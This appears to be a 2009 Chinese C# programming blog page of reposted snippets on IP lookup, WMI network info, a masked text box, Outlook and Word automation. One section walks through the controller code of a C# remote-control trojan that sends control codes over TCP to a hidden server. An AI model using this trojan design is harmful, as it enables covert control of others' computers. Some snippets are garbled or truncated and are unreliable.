2009年5月9日星期六

C#.NET技术学习论坛


C#.NET技术学习论坛:http://csharpnet.5d6d.com/

c#.net,asp.net,c#学习,程序基础,程序设计开发,项目管理,网站建设

2009年3月1日星期日

c#获取真实IP和代理IP

获取真实IP

public static string GetRealIP()
{
string ip;
try
{
HttpRequest request = HttpContext.Current.Request;

if (request.ServerVariables["HTTP_VIA"] != null)
{
ip = request.ServerVariables["HTTP_X_FORWARDED_FOR"].ToString().Split(',')[0].Trim();
}
else
{
ip = request.UserHostAddress;
}
}
catch (Exception e)
{
throw e;
}

return ip;
}

public static string GetRealIP()
{
string ip;
try
{
HttpRequest request = HttpContext.Current.Request;

if (request.ServerVariables["HTTP_VIA"] != null)
{
ip = request.ServerVariables["HTTP_X_FORWARDED_FOR"].ToString().Split(',')[0].Trim();
}
else
{
ip = request.UserHostAddress;
}
}
catch (Exception e)
{
throw e;
}

return ip;
}

获取代理IP

public static string GetViaIP()
{
string viaIp = null;

try
{
HttpRequest request = HttpContext.Current.Request;

if (request.ServerVariables["HTTP_VIA"] != null)
{
viaIp = request.UserHostAddress;
}

}
catch (Exception e)
{

throw e;
}

return viaIp;

C#获取IP地址、子网掩码和网关地址

文这段代码是用C#语言实现获取IP地址、子网掩码和网关地址,首先要添加对程序集System.Management的引用

using System;
using System.Management;

namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
ManagementClass mc = new ManagementClass("Win32_NetworkAdapterConfiguration");
ManagementObjectCollection nics = mc.GetInstances();
foreach (ManagementObject nic in nics)
{
if (Convert.ToBoolean(nic["ipEnabled"]) == true)
{
Console.WriteLine((nic["IPAddress"] as String[])[0]);
Console.WriteLine((nic["IPSubnet"] as String[])[0]);
Console.WriteLine((nic["DefaultIPGateway"] as String[])[0]);
}
}
}
}
}


本文来自: IT知道网(http://www.itwis.com) 详细出处参考:http://www.itwis.com/html/net/c/20081111/2774.html

C# 开发掩码输入文本框

掩码输入是一种常用的控件,第一次看见这种控件是在Visual FoxPro中!感觉功能强,不错。现在用C#开发ASP.NET应用程序也需要用到这种输入的控件,便琢磨着自己做一个。但是由于Visual FoxPro中的掩码文本框功能太强了,一时还不敢去做。网上也有一些自制的如:http://www.weste.net/00/-/0966988.html,但是感觉功能都不很适合。后来在http://www.stedy.com上看到了他们做的掩码文本框,感觉这种方式在Web应用上很适合,就把客户端代码down下来了!(stedy software 作的是产品,要花钱!而且很贵79.99USD,ft。)
分析了一下stedy的客户端脚本(VBScript)他们为每一种掩码规则都作了一个客户端的方法。如下面是日期掩码格式化的客户端脚本代码:

function maskDate(sValue, sType)

dim zMonth

zMonth = array("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December")

if len(trim(sValue)) = 0 then

maskDate = ""

setViewState false

elseif not(isDate(sValue)) then

maskDate = "# INVALID DATE ENTERED #"

setViewState true

else

select case (sType)

case "medium"

maskDate = day(dateValue(sValue)) & "-" & left(zMonth(month(dateValue(sValue)) - ), ) & "-" & year(dateValue(sValue))

case "long"

maskDate = zMonth(month(dateValue(sValue)) - ) & " " & day(dateValue(sValue)) & ", " & year(dateValue(sValue))

case else

maskDate = formatDateTime(sValue, vbShortDate)

end select

setViewState false

end if

end function

可以看到处理方式是将文本框中的字符串格式化,如果格式化成功则显示为格式化后的字符串,否则显示"# INVALID DATE ENTERED"。其他的方法与之类似,像maskCurrency, maskSSN什么的。
MaskTextBox客户端有两个自定义属性


第一个是掩码格式,第二个是文本框真实值,如:¥0.00真实值为:0.00。
目前遇到的问题有一个:
客户端的文本框如何才能回传给服务器上面所说的两个属性?
想了半天,觉着还是用一个Hidden类型的控件储存掩码文本框的真实值。这样回传给服务器的时候就能通过对应的Hidden控件的Value属性取得真实值!
C# 代码片段如下:

protected override void Render(HtmlTextWriter output)

{

output.WriteBeginTag("input");

output.WriteAttribute("type","hidden");

output.WriteAttribute("value","");

output.WriteAttribute("id","__"+this.UniqueID);

output.WriteAttribute("name","__"+this.UniqueID);

output.Write(HtmlTextWriter.TagRightChar);

base.Render(output);

}

用C#实现木马程序分析

用C#实现木马程序分析
前言:

  因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。 这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。

  使用的技术:

  控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。

  控制端开发:

  控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

  控制端的开发:

  控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。

  1、连接请求

  使用了.NET类中的 System.Net.Sockets.TcpClient类,

TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
{
//记录操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText("请求连接" +textBox1.Text +"\r");
int port =6678;
try
{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show("服务器不在线!确定是否输入主机名称.");
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
}
}//private void buttion

  2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。

//提供网络访问的数据流
//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
{
//纪录操作
richTextBox1.AppendText("测试连接" +"\r");
try
{

stream = client.GetStream();
if(stream.CanWrite)
{
//发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+"\r");
MessageBox.Show(ee.Message);
}
}


  3、控制生效的代码

private void button9_Click(object sender, System.EventArgs e)
{
//这里是确定要发送的控制码,RadioButton是窗体控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control =="000000")
{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
{
try
{
//记录操作
richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText("服务器未连接1控制无效!" +"\r");
MessageBox.Show("服务器未连接1控制无效!" +"\r");
}
}//else if
}

C#调出Outlook界面并发送指定附件

C#调出Outlook界面并发送指定附件


--------------------------------------------------------------------------------

发表时间:2004-8-10
作者:未知[获得此文档时候没有作者记录,深感抱歉,本文档全为转载]


网络上讲的C#调用Outlook界面发送邮件的例子举不胜数,但都是将调出简单的界面,设置收件人地址、邮件标题、正文内容等,但对于发送指定附件的说明非常少。也有实现的,却是采用引入Outlook对象库,我不想只为了如此一个小功能去引入那么大个东东,太恶心!刚好也想给CrossFile2.0加入这个小功能,于是乎昨晚仔细研究了下Outlook的调用参数,发现还是可以用简单的方式实现的,现贴出分享如下:
Microsoft.Win32.RegistryKey rKey = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey(@"mailto\shell\open\command");//这里我们查找系统的缺省邮件客户程序,其他的客户程序我没有试验过,不知道这种方式是否可行

if(rKey != null)
{//这里查找Outlook应用程序所在位置,也可以用其他方式去查
string path = rKey.Getvalue("").ToString() + " ";
path = path.Substring(0, path.IndexOf(" "));
path = path.Replace("\"", "");
rKey.Close();
try
{
System.Diagnostics.Process.Start(path, "-c IPM.Note /m myfriend@hotmail.com&subject=Hello " + this._imagePath);//调用执行Outlook,主要注意后面的参数,附件的文件地址空格隔开
}
catch
{
}
}

C#操作Word完全方法

C#操作Word完全方法
前提:
导入COM库:Microsoft word 11.0 Object Library.
引用里面就增加了:

创建新Word

复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);
打开文档:

复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
object fileName = @"E:CCCXCXXTestDoc.doc";
oDoc = oWord.Documents.Open(ref fileName,
ref oMissing, ref oMissing, ref oMissing, ref oMissing, ref oMissing,
ref oMissing, ref oMissing, ref oMissing, ref oMissing, ref oMissing,
ref oMissing, ref oMissing, ref oMissing, ref oMissing, ref oMissing);
导入模板

复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
object fileName = @"E:XXXCCXTest.doc";
oDoc = oWord.Documents.Add(ref fileName, ref oMissing, ref oMissing, ref oMissing);
添加新表

复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);

object start = 0;
object end = 0;
Word.Range tableLocation = oDoc.Range(ref start, ref end);
oDoc.Tables.Add(tableLocation, 3, 4, ref oMissing, ref oMissing);
表插入行

复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);

object start = 0;
object end = 0;
Word.Range tableLocation = oDoc.Range(ref start, ref end);
oDoc.Tables.Add(tableLocation, 3, 4, ref oMissing, ref oMissing);

Word.Table newTable = oDoc.Tables[1];
object beforeRow = newTable.Rows[1];
newTable.Rows.Add(ref beforeRow);
单元格合并

复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);

object start = 0;
object end = 0;
Word.Range tableLocation = oDoc.Range(ref start, ref end);
oDoc.Tables.Add(tableLocation, 3, 4, ref oMissing, ref oMissing);

Word.Table newTable = oDoc.Tables[1];
object beforeRow = newTable.Rows[1];
newTable.Rows.Add(ref beforeRow);

Word.Cell cell = newTable.Cell(1, 1);
cell.Merge(newTable.Cell(1, 2));
单元格分离

复制 保存
object oMissing = System.Reflection.Missing.Value;
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(oMissing, ref oMissing, ref oMissing);

object start = 0;
object end = 0;
Word.Range tableLocation = oDoc.Range(ref start, ref end);
oDoc.Tables.Add(tableLocation, 3, 4, ref oMissing, ref oMissing);

Word.Table newTable = oDoc.Tables[1];
object beforeRow = newTable.Rows[1];
newTable.Rows.Add(ref beforeRow);

Word.Cell cell = newTable.Cell(1, 1);
cell.Merge(newTable.Cell(1, 2));

object Rownum = 2;
object Columnnum = 2;
cell.Split(ref Rownum, ref Columnnum);
通过段落控制插入

object oMissing = System.Reflection.Missing.Value;
object oEndOfDoc = @"\endofdoc"; /* endofdoc is a predefined bookmark */

//Start Word and create a new document.
Word._Application oWord;
Word._Document oDoc;
oWord = new Word.Application();
oWord.Visible = true;
oDoc = oWord.Documents.Add(ref oMissing, ref oMissing, ref oMissing, ref oMissing);

//Insert a paragraph at the beginning of the document.
Word.Paragraph oPara1;
oPara1 = oDoc.Content.Paragraphs.Add(ref oMissing);
oPara1.Range.Text = "Heading 1";
oPara1.Range.Font.Bold = 1;
oPara1.Format.SpaceAfter = 24; //24 pt spacing after paragraph.
oPara1.Range.InsertParagraphAfter();